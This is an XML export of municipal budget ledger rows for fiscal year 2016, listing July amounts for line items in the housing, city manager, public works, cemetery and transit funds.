<row _id="20727"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 ADMIN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20728"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>238728</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>238728</total></row>
<row _id="20729"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>100813</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>100813</total></row>
<row _id="20730"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5693</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5693</total></row>
<row _id="20731"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>934</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>934</total></row>
<row _id="20732"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1400</total></row>
<row _id="20733"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6000</total></row>
<row _id="20734"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2000</total></row>
<row _id="20735"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>24944</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>24944</total></row>
<row _id="20736"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6727</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6727</total></row>
<row _id="20737"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>111609</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>111609</total></row>
<row _id="20738"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409043.0</object><object_description>ELEM SPORTS-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20739"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>270</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>270</total></row>
<row _id="20740"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>638</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>638</total></row>
<row _id="20741"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7269</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7269</total></row>
<row _id="20742"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>519</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>519</total></row>
<row _id="20743"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>8936</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8936</total></row>
<row _id="20744"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1030</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1030</total></row>
<row _id="20745"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400881.0</object><object_description>SPC HAP SU02</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-85461</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-85461</total></row>
<row _id="20746"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>64652</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>64652</total></row>
<row _id="20747"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>88609</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>88609</total></row>
<row _id="20748"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400394.0</object><object_description>HAP REVENUE - PORTS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-333600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-333600</total></row>
<row _id="20749"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400925.0</object><object_description>SPC ADMIN NEW</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-20167</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-20167</total></row>
<row _id="20750"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>403720.0</object><object_description>SERIAL INEBRIATE GRANT ADMIN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-24944</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-24944</total></row>
<row _id="20751"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400885.0</object><object_description>SPC HAP NEW</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20752"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400921.0</object><object_description>SPC ADMIN SU02</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20753"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400925.0</object><object_description>SPC ADMIN NEW</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20754"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>385</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>385</total></row>
<row _id="20755"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 FRAUD RECOVERY</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20756"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>26630</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>26630</total></row>
<row _id="20757"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1931</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1931</total></row>
<row _id="20758"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2024</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2024</total></row>
<row _id="20759"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3500</total></row>
<row _id="20760"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>887</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>887</total></row>
<row _id="20761"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3294</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3294</total></row>
<row _id="20762"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>430</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>430</total></row>
<row _id="20763"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1128</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1128</total></row>
<row _id="20764"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>93998</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>93998</total></row>
<row _id="20765"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1956</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1956</total></row>
<row _id="20766"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2050</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2050</total></row>
<row _id="20767"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-3680</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3680</total></row>
<row _id="20768"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-15683</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-15683</total></row>
<row _id="20769"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577723.0</object><object_description>CDBG - RESIDENTIAL REHAB PROG</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20770"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409032.0</object><object_description>CAMP SM-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20771"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409050.0</object><object_description>MIDDLE SCHOOL SPORTS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20772"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402780.0</object><object_description>CASKET SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-104317</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-104317</total></row>
<row _id="20773"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556130.0</object><object_description>SOLD CASKETS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>53040</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>53040</total></row>
<row _id="20774"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556170.0</object><object_description>SOLD FLOWERS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>11220</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11220</total></row>
<row _id="20775"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556190.0</object><object_description>MISC SERVICES/SALES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>35060</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>35060</total></row>
